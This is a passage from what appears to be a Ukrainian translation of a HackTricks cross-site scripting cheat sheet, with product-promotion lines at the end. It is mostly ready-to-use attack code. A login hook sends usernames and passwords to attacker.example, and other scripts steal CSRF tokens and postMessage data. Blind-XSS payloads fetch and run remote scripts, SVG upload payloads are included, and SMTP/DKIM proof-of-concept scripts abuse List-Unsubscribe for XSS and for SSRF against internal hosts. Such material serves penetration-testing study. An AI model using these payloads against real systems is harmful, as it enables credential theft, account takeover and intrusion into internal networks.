Коли будь-які дані вводяться в поле password, username і password відправляються на attackers server; навіть якщо клієнт обирає saved password і нічого не вводить, credentials будуть ex-filtrated.

Якщо критичний handler (e.g., function DoLogin(){...}) оголошений пізніше на сторінці, а ваш payload виконується раніше (e.g., via an inline JS-in-JS sink), оголосіть const з тим самим ім’ям спочатку, щоб перехопити та заблокувати handler. Пізніші function declarations не можуть rebind a const name, залишаючи ваш hook під контролем:

const DoLogin = () => {
const pwd  = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};

Примітки

  • Це залежить від порядку виконання: ваша injection має виконатися раніше за легітимну декларацію.
  • Якщо ваш payload обгорнутий у eval(...), зв’язування через const/let не стануть глобальними. Використайте динамічну <script> injection техніку з розділу “Deliverable payloads with eval(atob()) and scope nuances” щоб забезпечити справжнє глобальне, неперепризначуване зв’язування.
  • Коли фільтри за ключовими словами блокують код, комбінуйте це з Unicode-escaped identifiers або доставкою через eval(atob('...')), як показано вище.

Keylogger

Просто шукаючи на github, я знайшов кілька різних:

Stealing CSRF tokens

<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

Викрадення повідомлень PostMessage

<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>

PostMessage-origin script loaders (opener-gated)

Якщо сторінка зберігає event.origin з postMessage і пізніше конкатенує його в URL скрипта, відправник контролює origin завантаженого JS:

window.addEventListener('message', (event) => {
if (event.data.msg_type === 'IWL_BOOTSTRAP') {
localStorage.setItem('CFG', {host: event.origin, pixelID: event.data.pixel_id});
startIWL(); // later loads `${host}/sdk/${pixelID}/iwl.js`
}
});

Exploitation recipe (from CAPIG):

  • Gates: спрацьовує лише коли window.opener існує і pixel_id додано в allowlist; origin ніколи не перевіряється.
  • Use CSP-allowed origin: переключіться на домен, який вже дозволений victim CSP (наприклад, сторінки довідки для незалогінених користувачів, що дозволяють аналітику типу *.THIRD-PARTY.com) і розмістіть там /sdk/<pixel_id>/iwl.js через takeover/XSS/upload.
  • Restore opener: в Android WebView window.name='x'; window.open(target,'x') робить сторінку її власним opener; відправте шкідливий postMessage з захопленого iframe.
  • Trigger: iframe відправляє {msg_type:'IWL_BOOTSTRAP', pixel_id:<allowed>}; батьківська сторінка тоді завантажує зловмисний iwl.js з CSP-allowed origin і виконує його.

Це перетворює origin-less postMessage валідацію на remote script loader primitive, який обходить CSP, якщо вам вдасться опинитися на будь-якому origin, вже дозволеному політикою.

Supply-chain stored XSS via backend JS concatenation

Коли backend будує shared SDK шляхом конкатенації JS рядків з значеннями, які контролює користувач, будь-який символ, що ламає лапки/структуру, може інжектувати скрипт, який роздаватиметься всім споживачам:

  • Приклад патерну (Meta CAPIG): сервер додає cbq.config.set("<pixel>","IWLParameters",{params: <user JSON>}); безпосередньо в capig-events.js.
  • Вставка ' або "]} закриває літерал/об’єкт і додає JS зловмисника, створюючи stored XSS у розповсюдженому SDK для кожного сайту, що його підвантажує (first-party та third-party).

Stored XSS in generated reports when escaping is disabled

Якщо завантажені файли парсяться й їх метадані виводяться в HTML-звітах з вимкненим екрануванням (|safe, кастомні renderers), ці метадані стають stored XSS sink. Приклад потоку:

xmlhost = data.getAttribute(f'{ns}:host')
ret_list.append(('dialer_code_found', (xmlhost,), ()))
'title': a_template['title'] % t_name  # %s fed by xmlhost

Шаблон Django рендерить {{item|key:"title"|safe}}, тому HTML зловмисника виконується.

Exploit: розмістіть entity-encoded HTML у будь-якому полі manifest/config, що потрапляє до звіту:

<data android:scheme="android_secret_code"
android:host="&lt;img src=x onerror=alert(document.domain)&gt;"/>

При рендерингу з |safe звіт виводить <img ...> і виконує JS під час перегляду.

Hunting: шукайте конструктори звітів/сповіщень, які повторно використовують розпарсені поля у %s/f-strings і відключають auto-escape. Один закодований тег у завантаженому manifest/log/archive зберігає XSS для кожного переглядача.

Зловживання Service Workers

Abusing Service Workers

Доступ до Shadow DOM

Shadow DOM

Polyglots

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt

Blind XSS payloads

Можна також використовувати: https://xsshunter.com/

"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>

<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>

<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">

<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>

<!-- html5sec -  allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags  -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!--  html5sec - eventhandler -  element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known.  -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>

<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload&#61;&#61; onerror=eval(atob(this.id))>

<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload&#61;&#61; autofocus>

<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">

<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">

<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>

<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))

<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>

<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />

<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />

<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}

Regex - Доступ до прихованого вмісту

From this writeup можна дізнатися, що навіть якщо деякі значення зникають із JS, їх усе одно можна знайти в атрибутах JS у різних об’єктах. Наприклад, значення, введене для REGEX, все ще можна знайти після того, як значення вводу regex було видалено:

// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)

// Remove flag value, nobody will be able to get it, right?
flag = ""

// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)

Brute-Force List

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt

XSS Зловживання іншими вразливостями

XSS in Markdown

Можна вставити Markdown-код, який буде відрендерений? Можливо, таким чином ви зможете отримати XSS! Перевірте:

XSS in Markdown

XSS to SSRF

Отримали XSS на сайті, який використовує кешування? Спробуйте підвищити це до SSRF через Edge Side Include Injection за допомогою цього payload:

<esi:include src="http://yoursite.com/capture" />

Використовуйте це, щоб обійти обмеження cookie, фільтри XSS та багато іншого!
Більше інформації про цю техніку тут: XSLT.

XSS у динамічно створеному PDF

Якщо веб-сторінка створює PDF з використанням введення, контрольованого користувачем, можна спробувати обманути bot, який створює PDF, щоб він виконав довільний JS код.
Отже, якщо PDF creator bot знайде якісь HTML теги, він почне їх інтерпретувати, і ви можете зловживати цією поведінкою, щоб спричинити Server XSS.

Server Side XSS (Dynamic PDF)

Якщо ви не можете інжектувати HTML теги, можливо варто спробувати inject PDF data:

PDF Injection

XSS у Amp4Email

AMP, спрямований на прискорення роботи веб-сторінок на мобільних пристроях, поєднує HTML теги з JavaScript для забезпечення функціональності з акцентом на швидкість і безпеку. Він підтримує низку компонентів для різних можливостей, доступних через AMP components.

Формат AMP for Email розширює окремі AMP компоненти для email-повідомлень, дозволяючи отримувачам взаємодіяти з контентом безпосередньо у своїх листах.

Приклад writeup XSS in Amp4Email in Gmail.

Зловживання заголовком List-Unsubscribe (Webmail XSS & SSRF)

Заголовок RFC 2369 List-Unsubscribe вбудовує URI, контрольовані атакуючим, які багато webmail та mail клієнтів автоматично перетворюють на кнопки “Unsubscribe”. Коли ці URI відображаються або запитуються без валідації, заголовок стає точкою інжекції як для stored XSS (якщо посилання на відписку розміщене в DOM), так і для SSRF (якщо сервер виконує запит на відписку від імені користувача).

Stored XSS via javascript: URIs

  1. Send yourself an email where the header points to a javascript: URI while keeping the rest of the message benign so that spam filters do not drop it.
  2. Ensure the UI renders the value (many clients show it in a “List Info” pane) and check whether the resulting <a> tag inherits attacker-controlled attributes such as href or target.
  3. Trigger execution (e.g., CTRL+click, middle-click, or “open in new tab”) when the link uses target="_blank"; browsers will evaluate the supplied JavaScript in the origin of the webmail application.
  4. Observe the stored-XSS primitive: the payload persists with the email and only requires a click to execute.
List-Unsubscribe: <javascript://attacker.tld/%0aconfirm(document.domain)>
List-Unsubscribe-Post: List-Unsubscribe=One-Click

Байт нового рядка (%0a) у URI показує, що навіть нестандартні символи проходять через конвеєр рендерингу у вразливих клієнтів, таких як Horde IMP H5, який виводить рядок дослівно всередині тега .

Мінімальний SMTP PoC, який доставляє шкідливий заголовок List-Unsubscribe ```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessage

smtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” sender = “list@example.org” recipient = “victim@example.org”

msg = EmailMessage() msg.set_content(“Testing List-Unsubscribe rendering”) msg[“From”] = sender msg[“To”] = recipient msg[“Subject”] = “Newsletter” msg[“List-Unsubscribe”] = “javascript://evil.tld/%0aconfirm(document.domain)” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”

with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)

</details>

#### Проксі скасування підписки на боці сервера -> SSRF

Деякі клієнти, такі як Nextcloud Mail app, проксирують дію скасування підписки на боці сервера: натискання кнопки наказує серверу самостійно отримати вказаний URL. Це перетворює заголовок на примітив SSRF, особливо коли адміністратори встановлюють `'allow_local_remote_servers' => true` (задокументовано в [HackerOne report 2902856](https://hackerone.com/reports/2902856)), що дозволяє запити до loopback та діапазонів RFC1918.

1. **Складіть електронний лист** так, щоб `List-Unsubscribe` вказував на attacker-controlled endpoint (для blind SSRF використовуйте Burp Collaborator / OAST).
2. **Залиште `List-Unsubscribe-Post: List-Unsubscribe=One-Click`**, щоб UI показував кнопку скасування підписки в один клік.
3. **Виконайте вимоги довіри**: Nextcloud, наприклад, виконує HTTPS unsubscribe-запити лише коли повідомлення проходить DKIM, тому атакуючий має підписати лист, використовуючи домен, який він контролює.
4. **Доставте повідомлення в поштову скриньку, яку обробляє цільовий сервер**, і чекайте, поки користувач не натисне кнопку скасування підписки.
5. **Спостерігайте server-side callback** на collaborator endpoint, а потім pivotайте до внутрішніх адрес, коли примітив підтверджено.
```text
List-Unsubscribe: <http://abcdef.oastify.com>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
DKIM-підписане повідомлення List-Unsubscribe для тестування SSRF ```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessage import dkim

smtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” dkim_selector = “default” dkim_domain = “example.org” dkim_private_key = “”“—–BEGIN PRIVATE KEY—–\n…\n—–END PRIVATE KEY—–”“”

msg = EmailMessage() msg.set_content(“One-click unsubscribe test”) msg[“From”] = “list@example.org” msg[“To”] = “victim@example.org” msg[“Subject”] = “Mailing list” msg[“List-Unsubscribe”] = “http://abcdef.oastify.com” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”

raw = msg.as_bytes() signature = dkim.sign( message=raw, selector=dkim_selector.encode(), domain=dkim_domain.encode(), privkey=dkim_private_key.encode(), include_headers=[“From”, “To”, “Subject”] ) msg[“DKIM-Signature”] = signature.decode().split(“: “, 1)[1].replace(”\r“, “”).replace(“\n”, “”)

with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)

</details>

**Тестові нотатки**

- Використовуйте OAST endpoint для збору blind SSRF hits, потім адаптуйте `List-Unsubscribe` URL, щоб націлити `http://127.0.0.1:PORT`, metadata services або інші внутрішні хости після підтвердження примітиву.
- Оскільки unsubscribe helper часто повторно використовує той самий HTTP stack, що й застосунок, ви успадковуєте його proxy settings, HTTP verbs і header rewrites, що дозволяє виконувати подальші traversal tricks, описані в [SSRF methodology](../ssrf-server-side-request-forgery/README.md).

### XSS завантаження файлів (svg)

Завантажте як зображення файл на кшталт наведеного нижче (з [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
```html
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>

<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,&lt;body&gt;&lt;script&gt;document.body.style.background=&quot;red&quot;&lt;/script&gt;hi&lt;/body&gt;" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />

Знайдіть більше SVG payloads на https://github.com/allanlw/svg-cheatsheet

Різні JS трюки та релевантна інформація

Misc JS Tricks & Relevant Info

XSS ресурси

Посилання

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks